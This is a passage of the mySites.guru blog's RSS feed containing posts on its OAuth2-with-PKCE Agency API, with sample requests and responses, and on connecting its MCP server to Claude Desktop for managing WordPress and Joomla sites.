&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE Free/Pro 2.9.99.5 Security Update&lt;/a&gt; - the unauthenticated file upload (CVE-2026-48907) that triggered this audit&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;JCE Free/Pro 2.9.99.4 Security Update&lt;/a&gt; - the two authenticated-only file browser bugs from 28 May&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/changelog/editor&quot;&gt;JCE editor changelog&lt;/a&gt; - the developer&apos;s running changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt; - direct package downloads for JCE Pro subscribers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking from the mySites.guru database, where JCE consistently ranks in the top two&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow used for rollouts like this&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE in scheduled overnight updates so the next release patches itself&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/jce-pro-2-9-99-6-security-update.C_LrUHgq.png" length="0" type="image/png"/></item><item><title>How to Access Your mySites.guru Account Using our Secure API</title><link>https://mysites.guru/blog/mysites-guru-api/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-api/</guid><description>The mySites.guru Agency API runs audits, backups and updates across every WordPress and Joomla site you manage, from your own scripts, over OAuth2 with PKCE.</description><pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last week we introduced the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;mySites.guru MCP server&lt;/a&gt;, which lets you manage your whole WordPress and Joomla estate by talking to an AI client like Claude. A lot of you asked the obvious follow-up question: what is underneath it, and can I use that directly from my own code?&lt;/p&gt;
&lt;p&gt;The answer is yes. Underneath the MCP server is the &lt;strong&gt;mySites.guru Agency API&lt;/strong&gt;, a secure REST API that does everything the MCP server does, and it is the foundation we built the MCP server on top of. This post explains what the API is, how you connect to it securely, and why &quot;secure by design&quot; is a claim we can actually back up rather than a line on a marketing page.&lt;/p&gt;
&lt;p&gt;If you have ever wanted to pull your site list into your own dashboard, fire off audits from a cron job, or trigger a round of extension updates from a deploy script, this is the tool for that.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;span&gt;
      
      Beta Preview
    &lt;/span&gt;
    &lt;span&gt;Limited scope for now&lt;/span&gt;
  &lt;/div&gt;
  &lt;p&gt;
    The set of endpoints available today is deliberately small. We have shipped a focused starting point, we are watching usage and listening to feedback, and we will grow it from there. Treat what follows as the ground floor, not the finished feature.
  &lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;The short version&lt;/p&gt;
  &lt;p&gt;The mySites.guru Agency API is a REST API that exposes the same actions you take in the dashboard, including listing sites, reading audits and backups, and triggering audits, backups, snapshots and updates. It uses OAuth2 with PKCE, no static keys, with short-lived tokens scoped to your own sites. It is the same engine the MCP server runs on, so you can use the API on its own, the MCP server on its own, or both together.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The API, the MCP server, and how they relate&lt;/h2&gt;
&lt;p&gt;Worth being clear about this up front, because it shapes everything else.&lt;/p&gt;
&lt;p&gt;The Agency API is the engine. It is a plain REST API: your code sends an HTTP request with a token, the API does the work and sends JSON back. The &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;MCP server&lt;/a&gt; we launched last week is a second front door bolted onto that same engine, designed so an AI client can drive it in natural language. Both share the same authentication, the same per-user scoping, and the same underlying actions. The MCP server is, in effect, a thin translation layer that turns &quot;back up all my Joomla sites&quot; from an AI client into the same operations the API exposes directly.&lt;/p&gt;
&lt;p&gt;That gives you three ways to use mySites.guru programmatically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The API instead of the MCP server.&lt;/strong&gt; Write a script, a dashboard, or a scheduled job that talks straight to the REST API. No AI client involved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The API alongside the MCP server.&lt;/strong&gt; Use Claude for ad-hoc, conversational work, and a scripted API integration for the repeatable, scheduled jobs. They share the same account and the same permissions model.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The API as a standalone service.&lt;/strong&gt; Wire mySites.guru into your own agency dashboard, a status page, or an internal tool, with no dependency on any AI tooling at all.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pick whichever fits the job. Nothing about the API requires you to use the MCP server, and nothing about the MCP server is doing anything the API could not.&lt;/p&gt;
&lt;h2&gt;What the API can do&lt;/h2&gt;
&lt;p&gt;The API exposes the same actions you already perform by hand in the dashboard, split into reading data and triggering work.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reading data:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your account profile and plan details&lt;/li&gt;
&lt;li&gt;Your full list of sites, with platform, version, PHP version and connection status, filterable by platform or tag&lt;/li&gt;
&lt;li&gt;A single site&apos;s full detail&lt;/li&gt;
&lt;li&gt;Audit results for a site, and the full detail of any individual audit&lt;/li&gt;
&lt;li&gt;A site&apos;s backups and their status&lt;/li&gt;
&lt;li&gt;A site&apos;s snapshots&lt;/li&gt;
&lt;li&gt;The extensions installed on a site&lt;/li&gt;
&lt;li&gt;The tags across your account&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Triggering work:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start a new audit on a site&lt;/li&gt;
&lt;li&gt;Start a new backup&lt;/li&gt;
&lt;li&gt;Take a new snapshot&lt;/li&gt;
&lt;li&gt;Trigger extension updates&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The triggering endpoints return immediately and run the job in the background, exactly as they do when you click the button in the dashboard. You get a confirmation that the job was queued, not a response that blocks until a backup finishes.&lt;/p&gt;
&lt;p&gt;The important principle is that the API never grants more than you already have. Every action maps to something your account can already do. If you cannot see a site in the dashboard, no token issued to you can reach it through the API either.&lt;/p&gt;
&lt;h2&gt;How you connect: OAuth2 with PKCE&lt;/h2&gt;
&lt;p&gt;This is the part that earns the &quot;secure&quot; in the title, so it is worth walking through properly. If OAuth flows make your eyes glaze over, the headline is: no passwords leave your app, nothing long-lived is sitting around to be stolen, and you approve each connection yourself.&lt;/p&gt;
&lt;p&gt;The API uses the &lt;strong&gt;OAuth2 Authorization Code flow with PKCE&lt;/strong&gt;, and that is the only supported method. There are no static API keys to leak, no basic-auth passwords sitting in a config file, and no long-lived bearer tokens that work forever if they escape. If you have integrated with Google, GitHub or a bank&apos;s API, the shape of this will be familiar.&lt;/p&gt;
&lt;h3&gt;Step 1: Register an API client&lt;/h3&gt;
&lt;p&gt;In your dashboard, go to &lt;strong&gt;Account then API Clients&lt;/strong&gt; and create a new client. You receive a &lt;code&gt;client_id&lt;/code&gt;. There is deliberately no &lt;code&gt;client_secret&lt;/code&gt;, because PKCE replaces it. You add the redirect URI (or URIs) your application will use, and you are done.&lt;/p&gt;
&lt;h3&gt;Step 2: Generate a PKCE pair&lt;/h3&gt;
&lt;p&gt;Before sending the user off to authorize, your application generates a one-time secret called a code verifier, and a hashed version of it called a code challenge:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Browser example using the Web Crypto API
const verifier = base64url(crypto.getRandomValues(new Uint8Array(32)));
const challenge = base64url(
  await crypto.subtle.digest(&apos;SHA-256&apos;, new TextEncoder().encode(verifier))
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You keep the verifier private and send only the challenge in the next step. This is what stops an intercepted authorization code from being useful to anyone but you.&lt;/p&gt;
&lt;h3&gt;Step 3: Send the user to authorize&lt;/h3&gt;
&lt;p&gt;Your application redirects the user to the authorization endpoint, asking for exactly the scopes it needs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET https://manage.mysites.guru/oauth/authorize
  ?response_type=code
  &amp;amp;client_id=YOUR_CLIENT_ID
  &amp;amp;redirect_uri=https://yourapp.example.com/callback
  &amp;amp;scope=api:profile:read api:sites:read
  &amp;amp;code_challenge=BASE64URL_SHA256_OF_VERIFIER
  &amp;amp;code_challenge_method=S256
  &amp;amp;state=RANDOM_NONCE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The user lands on a mySites.guru consent screen, signs in if they are not already, and sees exactly which permissions your application is asking for. &lt;strong&gt;Your application never sees their password.&lt;/strong&gt; If they approve, they are sent back to your redirect URI with a short-lived authorization code.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;The consent screen the user approves. Each line is a plain-English description of one requested scope, so the user sees exactly what they are granting before they click Authorize.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 4: Exchange the code for tokens&lt;/h3&gt;
&lt;p&gt;Your application swaps the code, plus the original verifier, for tokens:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST https://manage.mysites.guru/oauth/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code
&amp;amp;code=AUTH_CODE_FROM_CALLBACK
&amp;amp;redirect_uri=https://yourapp.example.com/callback
&amp;amp;client_id=YOUR_CLIENT_ID
&amp;amp;code_verifier=YOUR_ORIGINAL_VERIFIER
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You get back an access token and a refresh token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;token_type&quot;: &quot;Bearer&quot;,
  &quot;expires_in&quot;: 3600,
  &quot;access_token&quot;: &quot;eyJ...&quot;,
  &quot;refresh_token&quot;: &quot;def502...&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 5: Call the API&lt;/h3&gt;
&lt;p&gt;From here, every request carries the access token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET https://manage.mysites.guru/api/v1/sites
Authorization: Bearer eyJ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a response comes back as JSON:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: [
    {
      &quot;hash_id&quot;: &quot;aB3xY9&quot;,
      &quot;url&quot;: &quot;https://acme.example.com&quot;,
      &quot;friendly_name&quot;: &quot;Acme Corp&quot;,
      &quot;platform&quot;: &quot;Joomla&quot;,
      &quot;version&quot;: &quot;5.2.1&quot;,
      &quot;php_version&quot;: &quot;8.3.4&quot;,
      &quot;db_version&quot;: &quot;8.0.36&quot;,
      &quot;tags&quot;: [
        { &quot;slug&quot;: &quot;client&quot;, &quot;name&quot;: &quot;Client&quot;, &quot;color&quot;: &quot;#3b82f6&quot; }
      ],
      &quot;is_connected&quot;: true,
      &quot;last_audit&quot;: &quot;2026-06-06T18:54:25+00:00&quot;,
      &quot;last_backup&quot;: &quot;2026-06-06T02:00:00+00:00&quot;
    }
  ],
  &quot;meta&quot;: { &quot;current_page&quot;: 1, &quot;per_page&quot;: 25, &quot;total&quot;: 87 }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interactive demo bundled with the API does exactly this against your own account. Here it is calling &lt;code&gt;GET /api/v1/sites/{hashId}/audits/{id}&lt;/code&gt; and getting a real audit back: files scanned, suspect files, hidden files, missing core files, and the &lt;code&gt;hacked&lt;/code&gt; flag, all from one signed request.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;The bundled demo running a live audit lookup against a real site, returning HTTP 200. The token carries the api: scopes granted on the consent screen.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 6: Refresh when the token expires&lt;/h3&gt;
&lt;p&gt;Access tokens last &lt;strong&gt;one hour&lt;/strong&gt;. When one expires, your application uses the refresh token (valid for one month) to get a new pair, without sending the user through the consent screen again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST https://manage.mysites.guru/oauth/token
Content-Type: application/x-www-form-urlencoded

grant_type=refresh_token
&amp;amp;refresh_token=def502...
&amp;amp;client_id=YOUR_CLIENT_ID
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The old refresh token is invalidated and you receive a fresh pair. Short-lived access tokens with rotating refresh tokens mean that even in the worst case, an exposed access token is useful for at most an hour.&lt;/p&gt;
&lt;h2&gt;Why &quot;secure by design&quot; is more than a slogan&lt;/h2&gt;
&lt;p&gt;Security here is not a feature bolted on afterwards. It falls out of how the API is built. Here is what that actually means in practice.&lt;/p&gt;
&lt;h3&gt;No static secrets&lt;/h3&gt;
&lt;p&gt;Because the only supported flow is Authorization Code with PKCE, there is no permanent API key that grants access forever. The thing your application holds long term is a refresh token tied to a specific user&apos;s approval, and even that expires. There is no shared secret to find in a leaked &lt;code&gt;.env&lt;/code&gt; file and replay.&lt;/p&gt;
&lt;h3&gt;Tokens are scoped to your own sites, and re-checked every time&lt;/h3&gt;
&lt;p&gt;When a token is issued, the permissions are resolved for that specific user. On every single request to a site-specific endpoint, the API independently confirms that the site belongs to the user&apos;s company, and, if the user is a restricted team member, that the site is one they are allowed to see. A token cannot reach a site its owner could not already reach in the dashboard. This check is not done once at login and trusted thereafter, it runs on each request.&lt;/p&gt;
&lt;h3&gt;Scopes mean least privilege&lt;/h3&gt;
&lt;p&gt;Your application asks only for the scopes it needs, such as &lt;code&gt;api:sites:read&lt;/code&gt; on its own, or &lt;code&gt;api:audits:write&lt;/code&gt; to trigger audits. The consent screen shows the user exactly what they are granting before they approve. A read-only reporting dashboard never needs to ask for write access, and a user can see that it has not.&lt;/p&gt;
&lt;h3&gt;Short-lived tokens and per-user resolution&lt;/h3&gt;
&lt;p&gt;Access tokens expire after an hour. Permissions are tied to the user who approved the connection, not baked into a shared client, so the same integration approved by two different people gets each person&apos;s own access and never leaks one user&apos;s reach to another.&lt;/p&gt;
&lt;h3&gt;HTTPS only, rate limited, revocable&lt;/h3&gt;
&lt;p&gt;Redirect URIs must be HTTPS (the only exception is localhost, for local development). The API is rate limited per token, so a runaway script is contained rather than allowed to hammer the platform. And every client you create is listed in your dashboard under &lt;strong&gt;Account then API Clients&lt;/strong&gt;, where you can revoke any of them in one click. Revoking a client cuts off its access.&lt;/p&gt;
&lt;p&gt;This is the same security model we described for the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;MCP server&lt;/a&gt;, for the simple reason that they share it. The MCP server is secure for the same reasons the API is: it is the same OAuth2 layer underneath.&lt;/p&gt;
&lt;h2&gt;A worked example: a nightly audit report&lt;/h2&gt;
&lt;p&gt;To make this concrete, picture the kind of thing the API is built for. You run an agency with 80 client sites and you want a single email each morning summarising any site whose audit score dropped overnight.&lt;/p&gt;
&lt;p&gt;With the API, that is a small scheduled script:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Refresh your access token if it has expired.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;GET /api/v1/sites&lt;/code&gt; to get your site list.&lt;/li&gt;
&lt;li&gt;For each site, call &lt;code&gt;GET /api/v1/sites/{hashId}/audits&lt;/code&gt; and read the most recent score.&lt;/li&gt;
&lt;li&gt;Compare against yesterday&apos;s stored scores and assemble the ones that fell.&lt;/li&gt;
&lt;li&gt;Email yourself the list.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;No browser, no clicking through 80 dashboards, no AI client in the loop. Just your own code, running on your own schedule, talking to a secure API. If you would rather ask the same question conversationally now and then, the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;MCP server&lt;/a&gt; answers &quot;which of my sites dropped an audit score last night?&quot; from an AI client, using this exact same data.&lt;/p&gt;
&lt;p&gt;For agencies already leaning on &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audits, updates and backups&lt;/a&gt; inside mySites.guru, the API is the natural next step when you want that automation wired into your own systems rather than ours.&lt;/p&gt;
&lt;h2&gt;What the API does not do (yet)&lt;/h2&gt;
&lt;p&gt;Being honest about the edges is part of being secure and trustworthy.&lt;/p&gt;
&lt;p&gt;The API currently covers reading and triggering the core operations listed above. It does not yet offer webhooks or event subscriptions, so you poll for changes rather than being pushed them. The full developer reference documentation is being finalised and is not published yet, so for now the entry point is the &lt;strong&gt;Account then API Clients&lt;/strong&gt; screen in your dashboard, and the flow described in this post. When the reference docs go live we will link them here.&lt;/p&gt;
&lt;p&gt;If there is an operation you can do in the dashboard that you want exposed through the API, tell us. The API deliberately mirrors the dashboard, so the roadmap for it is driven by what you actually want to automate.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Sign in to your &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;mySites.guru dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Account then API Clients&lt;/strong&gt; and create a client.&lt;/li&gt;
&lt;li&gt;Note your &lt;code&gt;client_id&lt;/code&gt; and add your redirect URI.&lt;/li&gt;
&lt;li&gt;Run the Authorization Code with PKCE flow described above against the &lt;code&gt;/oauth/authorize&lt;/code&gt; and &lt;code&gt;/oauth/token&lt;/code&gt; endpoints.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;https://manage.mysites.guru/api/v1/&lt;/code&gt; with your Bearer token.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you are not yet a mySites.guru subscriber, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt; or see &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;everything the platform does&lt;/a&gt; first. The API, like the MCP server, is there to let you bend mySites.guru around your own workflow rather than the other way around.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;Manage Every Site From Claude Desktop or other AI tools&lt;/a&gt; - the MCP server built on top of this API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule your security audits, updates and backups&lt;/a&gt; - the built-in scheduling the API complements&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;How to mass upgrade Joomla and WordPress sites from one dashboard&lt;/a&gt; - the bulk update workflow, available to trigger via the API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Manage multiple sites with your whole team&lt;/a&gt; - the team permissions model the API scoping respects&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749&quot;&gt;OAuth 2.0 Authorization Framework (RFC 6749)&lt;/a&gt; - the standard the API is built on&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7636&quot;&gt;Proof Key for Code Exchange (RFC 7636)&lt;/a&gt; - the PKCE extension that removes the need for a client secret&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Want to manage your sites without writing a line of code? The &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;mySites.guru MCP server&lt;/a&gt; runs on this same API and lets you do it all in plain language from an AI client.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>api</category><category>oauth</category><category>automation</category><category>agency</category><category>integration</category><enclosure url="https://mysites.guru/_astro/mysites-guru-api.BPTBfiMP.png" length="0" type="image/png"/></item><item><title>Manage Every Site From Claude Desktop or other AI tools</title><link>https://mysites.guru/blog/manage-every-site-from-claude-desktop/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-every-site-from-claude-desktop/</guid><description>Connect your mySites.guru account to Claude or any MCP client and run audits, backups and updates across all your WordPress and Joomla sites by typing what you want.</description><pubDate>Sun, 07 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For a long time we have shied away from adding AI to mySites.guru for the sake of it, while we watched everyone else scramble to bolt AI onto their products in ways that made no sense. We were not interested in a chatbot in the corner that nobody asked for.&lt;/p&gt;
&lt;p&gt;Now the time has come. We are introducing a suite of AI features that genuinely improve how you manage a large number of WordPress, Joomla and general websites through mySites.guru, and today we are announcing the first of many: mySites.guru is now available as an MCP server you can connect to Claude Desktop and other MCP clients. You can hold a natural-language conversation with the AI client of your choice and pull information straight from your mySites.guru account and your connected sites, then act on it.&lt;/p&gt;
&lt;p&gt;Think about how a simple client question gets answered today. &quot;Is our site up to date?&quot; To answer honestly you open the dashboard, find the site, check the CMS version, check the PHP version, glance at the extension list, and remember whether the last audit came back clean. Two minutes per site, repeated all day, for something you should be able to just ask. Now you can ask it.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;span&gt;
      
      Beta Preview
    &lt;/span&gt;
    &lt;span&gt;Limited scope for now&lt;/span&gt;
  &lt;/div&gt;
  &lt;p&gt;
    The set of tools available today is deliberately small. We have shipped a focused starting point, we are watching usage and listening to feedback, and we will grow it from there. Treat what follows as the ground floor, not the finished feature.
  &lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What you can do once it is connected&lt;/h2&gt;
&lt;p&gt;Connect the account and your AI client gains a set of tools that map directly onto the things you already do in mySites.guru. You stop clicking and start asking, with questions like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;List my sites that have not been backed up this week.&quot;&lt;/li&gt;
&lt;li&gt;&quot;Run a security audit on example.com and tell me if anything looks hacked.&quot;&lt;/li&gt;
&lt;li&gt;&quot;What extensions are installed on this client&apos;s site, and which look old?&quot;&lt;/li&gt;
&lt;li&gt;&quot;Queue a backup for every Joomla site tagged client-retainer.&quot;&lt;/li&gt;
&lt;li&gt;&quot;Take a fresh snapshot of this site so I have a record before the migration.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The client reads the live state of your sites, reasons over it, and triggers the action you ask for. It is the difference between an assistant that talks about your sites and one that can actually act on them, bounded by exactly what your account already permits.&lt;/p&gt;
&lt;p&gt;This is the beta, so not every one of those examples is wired up yet, and the exact set you can use today is listed further down in &lt;a href=&quot;#what-you-can-do-in-the-beta&quot;&gt;What you can do in the beta&lt;/a&gt;. The bigger picture is where this is heading: we are working to expose the full range of mySites.guru features through MCP, and that is landing very shortly. Today is the first slice, not the whole thing.&lt;/p&gt;
&lt;h2&gt;How to connect it&lt;/h2&gt;
&lt;p&gt;There is no plugin to install on any site. The connector is your whole account, and it lives at one URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://manage.mysites.guru/_mcp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In &lt;strong&gt;Claude Desktop&lt;/strong&gt;, add it like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open Claude Desktop and go to the chat tab, then click &lt;strong&gt;Customize&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Choose &lt;strong&gt;Connectors&lt;/strong&gt;, click the &lt;strong&gt;+&lt;/strong&gt; icon, and select &lt;strong&gt;Add custom connector&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Paste &lt;code&gt;https://manage.mysites.guru/_mcp&lt;/code&gt; as the remote MCP server URL, give the connector a name, and save. Call it &lt;code&gt;mySites.guru&lt;/code&gt; if you like things tidy, or something with a bit more personality. Name it &lt;code&gt;Phil&lt;/code&gt; and you get to type &quot;Ask Phil to show me a list of my sites&quot; and have it actually work. You can leave the OAuth fields under Advanced settings blank.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Claude sends you to mySites.guru to sign in and approve the access. You see exactly which permissions are being granted before you authorize.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Approve it, and Claude is connected.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Other MCP clients (Claude.ai on the web, IDEs, and anything else that speaks the protocol) each have their own way to add a remote MCP server, but the URL is always the same: &lt;code&gt;https://manage.mysites.guru/_mcp&lt;/code&gt;. Add it wherever your client lists custom or remote connectors, then complete the same sign-in and approval step.&lt;/p&gt;
&lt;p&gt;That is the whole setup. The connection then shows up in your mySites.guru account as an authorized client, and you can revoke it in one click whenever you want. Because your sites are already linked to mySites.guru through the connector you set up when you added them, the MCP server reaches them the same way. WordPress and Joomla are identical here, which is not something the WordPress-only MCP plugins can say.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;No per-site plugin, no API juggling&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The point of doing this at the account level is that it scales the way an agency actually works. You authorize once, and every site you manage, now and in the future, is reachable through the same connection. Add a new client site to mySites.guru next month and it is immediately available to your AI client with no extra setup.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What you can do in the beta&lt;/h2&gt;
&lt;p&gt;Here is the exact, honest list of what the connection can do today. Nothing more is implemented yet, so this is the whole surface for the beta. Every item below maps to something you can already do in the dashboard, and the tools split into reading the state of your sites and acting on them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reading your sites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;List every site you manage, with its CMS, PHP and database versions, tags and connection status.&lt;/li&gt;
&lt;li&gt;Get the full detail of a single site, including SSL expiry and available updates.&lt;/li&gt;
&lt;li&gt;Read your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;profile&lt;/a&gt; (name, email, company).&lt;/li&gt;
&lt;li&gt;List and read &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt;, with suspect-file counts and the hacked flag.&lt;/li&gt;
&lt;li&gt;List &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; for a site.&lt;/li&gt;
&lt;li&gt;List configuration &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt; for a site.&lt;/li&gt;
&lt;li&gt;List the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;extensions&lt;/a&gt; installed on a site.&lt;/li&gt;
&lt;li&gt;List your site tags, so you can talk about groups of sites by name.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Acting on your sites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Trigger a security audit&lt;/a&gt; on a site.&lt;/li&gt;
&lt;li&gt;Queue a backup for a site.&lt;/li&gt;
&lt;li&gt;Queue a configuration snapshot for a site.&lt;/li&gt;
&lt;li&gt;Queue updates for one or more extensions on a site.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is it for now: thirteen tools, nine that read and four that act. Each one is gated by its own permission, so a read-only request can never quietly turn into a write. Listing extensions tells you what is installed; queueing an update is a separate, explicitly-permitted action.&lt;/p&gt;
&lt;p&gt;Your AI client shows you the full list and lets you decide, per tool, whether Claude can run it automatically, must ask first, or is blocked entirely:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;What comes next&lt;/h3&gt;
&lt;p&gt;This is a beta preview, and the tool list is the part most likely to grow. Through the beta we are watching our logs like a hawk for how people actually use it, which questions they ask, which actions they reach for, and where the gaps are. We will add tools based on that and on your feedback, rather than guessing at a big list up front. If there is something you want the connection to do, tell us, because right now is exactly when that feedback shapes what gets built.&lt;/p&gt;
